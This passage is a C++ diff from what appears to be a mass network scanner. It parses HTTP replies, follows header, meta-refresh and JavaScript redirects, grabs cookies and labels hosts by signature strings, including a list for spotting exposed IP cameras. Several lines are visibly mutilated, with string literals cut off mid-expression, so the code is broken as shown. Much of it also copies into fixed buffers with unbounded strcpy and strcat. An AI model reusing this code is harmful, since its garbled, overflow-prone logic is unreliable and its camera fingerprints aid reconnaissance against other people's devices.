ps->flag = ls->flag; + ps->port = tempPort; + return ls->flag; + }; + strcat(ps->headr, " -> "); + strcat(ps->headr, GetTitle(cstr.lowerBuff)); + ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + ps->port = tempPort; + + if(strlen(cstr.lowerBuff) < 1) + { + ps->flag = 3; + ls->flag = 3; + } + else if(strstr(cstr.lowerBuff, "[OVERFLOW]") != NULL) + { + ls->flag = 0; + ps->flag = 0; + }; + + delete []cstr.lowerBuff; + } + else + { + ps->flag = -1; + ls->flag = -1; + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::redirect [Dead host]."); + }; + return 0; + }; + + return -1; +}; +void _getPopupTitle(PathStr *ps, char *str) +{ + char res[32] = {0}; + + strcat(ps->headr, "[Popup detected. Title: "); + + char *ptr1 = strstr(str, ","); + if(ptr1 != NULL) + { + char *ptr2 = strstr(ptr1 + 1, ","); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1 - 1; + if(sz >= 32) sz = 32; + + strncat(ps->headr, ptr1 + 1, sz < 32 ? sz : 32); + } + else + { + strcat(ps->headr, "[BOUNDARY_ERROR]"); + }; + } + else + { + strcat(ps->headr, "[BOUNDARY_ERROR]"); + }; + + strcat(ps->headr, "]"); +}; +void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port) +{ + char *ptr1 = strstr(str, tag); + if(ptr1 != NULL) + { + char *ptr2 = _findFirstOcc(ptr1, "=("); + char *ptrSemi = _findFirstOcc(ptr1 + strlen(tag), ".;"); + if(ptr2 != NULL && ptrSemi != NULL) + { + int sz = ptrSemi - ptr2; + if(sz > 2) + { + char *ptrQuote1 = _findFirstOcc(ptr2, "\"'"); + if(ptrQuote1 != NULL) + { + char delim[2] = {0}; + ZeroMemory(delim, 1); + delim[0] = ptrQuote1[0]; + delim[1] = '\0'; + char *ptrQuote2 = strstr(ptrQuote1 + 1, delim); + if(ptrQuote2 != NULL) + { + int lsz = ptrQuote2 - ptrQuote1 - 1; + char link[512] = {0}; + if(lsz < 511) + { + if(ptrQuote1[1] != '/' + && strstri(ptrQuote1, "http://") == NULL + && strstri(ptrQuote1, "https://") == NULL + ) + { + strcpy(dataBuff, "/"); + strncat(dataBuff, ptrQuote1 + 1, lsz); + } + else strncpy(dataBuff, ptrQuote1 + 1, lsz); + }; + }; + }; + }; + } + else + { + stt->doEmitionRedFoundData("[JSLocator] _findFirst failed [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + }; +}; +void _getJSCookie(char *dataBuff, char *str, char *ip, int port) +{ + char *ptr1 = strstri(str, "document.cookie"); + if(ptr1 != NULL) + { + char *ptr2 = _findFirstOcc(ptr1, "\"'"); + if(ptr2 != NULL) + { + char *ptr3 = _findFirstOcc(ptr2 + 1, "\"'"); + if(ptr3 != NULL) + { + int sz = ptr3 - ptr2 - 1; + if(sz < 1024) strncpy(dataBuff, ptr2 + 1, sz); + else + { + stt->doEmitionRedFoundData("[_getJSCookie] Cookie exceeds max value [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + }; + }; + }; +}; +int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector *redirStrLst, char *rBuff) +{ + std::string redirectStr = ""; + if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), 1024); + +#pragma region Prechecks + if(strstr(str, "[IGNR_ADDR]") != NULL) + { + if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Rejecting in _header::Precheck."); + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, "/"); + return 0; + }; + + strcpy(ps->codepage, GetCodePage(str)); + + if(strstr(str, "[CONN_LOWLOAD_OMG]") != NULL) + { + strcpy(ps->headr, "[CONN_LOWLOAD_OMG]"); + strcpy(ps->path, "/"); + return 0; + }; + + if(strlen(str) == 0) + { + strcpy(ps->headr, "[No data!]"); + strcpy(ps->path, "/"); + return 0; + }; + + char *secondStr, *firstStr, *tempStr, finalstr[512] = {0}; + + if(strstri(str, "notice auth :*** looking up your hostname...") + || strstri(str, "451 * :You have not registered.") + ) + { + strcpy(ps->headr, "[IRC server]"); + strcpy(ps->path, "/"); return 1; + }; + if(strstri(str, "Error - Bad Address")) + { strcpy(ps->headr, str); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "[OVERFLOW]") != NULL) + { strcpy(ps->headr, "[OVERFLOW]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "site introuvable !") != NULL) + { strcpy(ps->headr, "[Site introuvable !]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "ip camera") != NULL || strstri(str, "+tm01+") != NULL + || strstri(str, "camera web server") != NULL || strstri(str, "ipcam_language") != NULL + || strstri(str, "/viewer/video.jpg") != NULL || strstri(str, "network camera") != NULL + || strstri(str, "sanpshot_icon") != NULL || strstri(str, "snapshot_icon") != NULL + || strstri(str, "lan camera") != NULL || strstri(str, "cgiuserlogin?") != NULL + || strstri(str, "web camera") != NULL || strstri(str, "smart ip device") != NULL + || strstri(str, "pan/tilt camera") != NULL || strstri(str, "/cgi-bin/viewer/getparam.cgi?") != NULL + || strstri(str, "IPCamera") != NULL + ) + { + strcpy(ps->headr, "[IP Camera detected]"); + l->flag = 0; + ps->flag = 0; + }; + if(strstri(str, "get_status.cgi") != NULL) + { strcpy(ps->headr, "[It may be ip camera]"); }; + if(strstri(str, "vo_logo.gif") != NULL + || strstri(str, "vo logo.gif") != NULL + ) + { strcpy(ps->headr, "[VIVOTEK camera detected?]"); }; + if(strstri(str, "$lock extended") != NULL) + { strcpy(ps->headr, "[DChub detected.]"); strcpy(ps->path, "/"); return 0; }; + if(strstri(str, "top.htm?currenttime") != NULL + || strstri(str, "top.htm?") != NULL + ) strcat(finalstr, " [?][SecCam detected]"); +#pragma endregion + +#pragma region 302 Redirects + if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL + || strstri(str, "http/1.0 302") != NULL || strstri(str, "http/1.1 302") != NULL + || strstri(str, "303 see other") != NULL + ) + { + char *temp = NULL, *temp2 = NULL; + int res = 127; + if(strstri(str, "location: ") != NULL) + { + temp = strstri(str, "location: "); + if( strstr(temp + 10, "\r\n") != NULL ) temp2 = strstr(temp + 10, "\r\n"); + else if( strstr(temp + 10, "\n") != NULL ) temp2 = strstr(temp + 10, "\n"); + + if(temp2 != NULL) + { + res = temp2 - temp - 10; + char newLoc[128] = {0}; + char *tmp = strstr(temp, "/"); + + if(tmp != NULL) + { + strncat(newLoc, temp + 10, res < 128 ? res : 127); + if(strstr(newLoc, "http://") == NULL && strstr(newLoc, "https://") == NULL) + { + if(newLoc[0] != '.') + { + if(newLoc[0] != '/') + { + char tnewLoc[128] = {0}; + strcpy(tnewLoc, "/"); + strcat(tnewLoc, newLoc); + strcpy(newLoc, tnewLoc); + }; + }; + }; + redirectStr = std::string(newLoc); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + }; + return -2; + }; + }; + } + else if(strstri(str, "location:") != NULL) + { + temp = strstri(str, "location:"); + if( strstr(temp + 9, "\r\n") != NULL ) temp2 = strstr(temp + 9, "\r\n"); + else if( strstr(temp + 9, "\n") != NULL ) temp2 = strstr(temp + 9, "\n"); + + if(temp != NULL) + { + res = temp2 - temp - 9; + char newLoc[128] = {0}; + char *tmp = strstr(temp, "/"); + + if(tmp != NULL) + { + strncat(newLoc, temp + 9, res < 128 ? res : 127); + redirectStr = std::string(newLoc); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, newLoc, l, ps, redirStrLst, rBuff); + }; + return -2; + }; + }; + }; + }; + if(strstri(str, "http-equiv=\"refresh\"") != NULL + || strstri(str, "http-equiv=refresh") != NULL + || strstri(str, "http-equiv='refresh'") != NULL + ) + { + char *temp = NULL; + char *strTmp = NULL; + + if(strstri(str, "http-equiv=\"refresh\"") != NULL) strTmp = strstri(str, "ttp-equiv=\"refresh\""); + else if(strstri(str, "http-equiv=refresh") != NULL) strTmp = strstri(str, "http-equiv=refresh"); + else if(strstri(str, "http-equiv='refresh'") != NULL) strTmp = strstri(str, "http-equiv='refresh'"); + + if(strstri(strTmp, "url=") != NULL ) + { + if((int)(strstri(strTmp, "url=") - strTmp) < 100) + { + temp = strstri(strTmp, "url="); + + char *temp1 = NULL, *temp2 = NULL, temp3[128] = {0}; + int sz = 0; + + if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') + { + temp2 = _findFirstOcc(temp + 6, " \n>\"'"); + if(temp2 != NULL) + { + sz = (int)(temp2 - temp) - 5; + strncpy(temp3, (char*)(temp + 5), (sz < 128 ? sz : 127)); + }; + } + else + { + temp2 = _findFirstOcc(temp + 4, " \n>\"'"); + if(temp2 != NULL) + { + sz = (int)(temp2 - temp) - 4; + strncpy(temp3, (char*)(temp + 4), sz < 128 ? sz : 127); + }; + }; + if(strstri(temp3, "http://") == NULL && strstri(temp3, "https://") == NULL) + { + if(temp3[0] != '.') + { + if(temp3[0] != '/') + { + char temp4[128] = {0}; + strcpy(temp4, "/"); + strncat(temp4, temp3, 127); + strncpy(temp3, temp4, 128); + }; + }; + }; + redirectStr = std::string(temp3); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst, rBuff); + }; + strcat(ps->headr, " "); + return -2; + }; + strcat(ps->headr, finalstr); + strcat(ps->headr, " "); + return 0; + }; + }; + if(strstri(str, "cookie, sizeof(ps->cookie)); + _getJSCookie(ps->cookie, str, ip, port); + }; + char *ptr1 = strstri(str, ""); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + char *scriptContainer = new char[sz + 1]; + ZeroMemory(scriptContainer, sz + 1); + strncpy(scriptContainer, ptr1, sz); + memset(scriptContainer + sz, '\0', 1); + + if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port); + else if(strstri(scriptContainer, "window.location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "window.location", ip, port); + else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port); + else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/"); + else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port); + + if(strlen(linkPtr) != 0) + { + redirectStr = std::string(linkPtr); + if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirectStr); + redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff); + }; + }; + delete []scriptContainer; + if(ps->flag == 1) return -2; + } + else + { + strcat(ps->headr, "[Cannot retrieve \"